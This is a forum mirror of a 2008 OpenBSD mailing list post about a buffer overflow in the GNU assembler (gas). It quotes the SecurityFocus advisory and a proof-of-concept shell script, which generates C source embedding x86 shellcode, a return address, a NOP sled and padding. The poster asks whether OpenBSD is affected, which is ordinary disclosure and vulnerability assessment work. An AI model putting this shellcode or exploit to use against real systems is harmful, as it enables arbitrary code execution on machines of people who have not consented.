Unix Technical Forum

gas Buffer Overflow

This is a discussion on gas Buffer Overflow within the mailing.openbsd.tech forums, part of the OpenBSD category; --> http://www.securityfocus.com/bid/19555 "GNU binutils GAS (GNU assembler) is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied ...


Go Back   Unix Technical Forum > Unix Operating Systems > OpenBSD > mailing.openbsd.tech

FAQ Members List Calendar Search Today's Posts Mark Forums Read
  #1 (permalink)  
Old 02-18-2008, 08:48 AM
Sebastian Rother
 
Posts: n/a
Default gas Buffer Overflow

http://www.securityfocus.com/bid/19555

"GNU binutils GAS (GNU assembler) is prone to a buffer-overflow
vulnerability because it fails to properly bounds-check user-supplied
input before copying it to an insufficiently sized memory buffer.

Remote attackers may crash the application or execute arbitrary machine
code in the context of the application."

Exploit from Sec-Focus:

#!/bin/sh
#
# gas overflow poc, <taviso@gentoo.org>

returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x8 0\xeb\x16\x5b\x31\xc0
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x 4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff/bin/id'

printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
__asm__ (PAD RET NOP EGG);
}
__EOF__


I didn`t checked if it was fixed by the "patches" OpenBSD ships with
gcc but I don`t think so.
It would be neat if somebody with more knowledge would be bale to tell
me if oBSD is affected or not.

Kind regards,
Sebastian

Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump


All times are GMT. The time now is 01:07 AM.


Powered by vBulletin® Version 3.6.5
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.2.0
www.UnixAdminTalk.com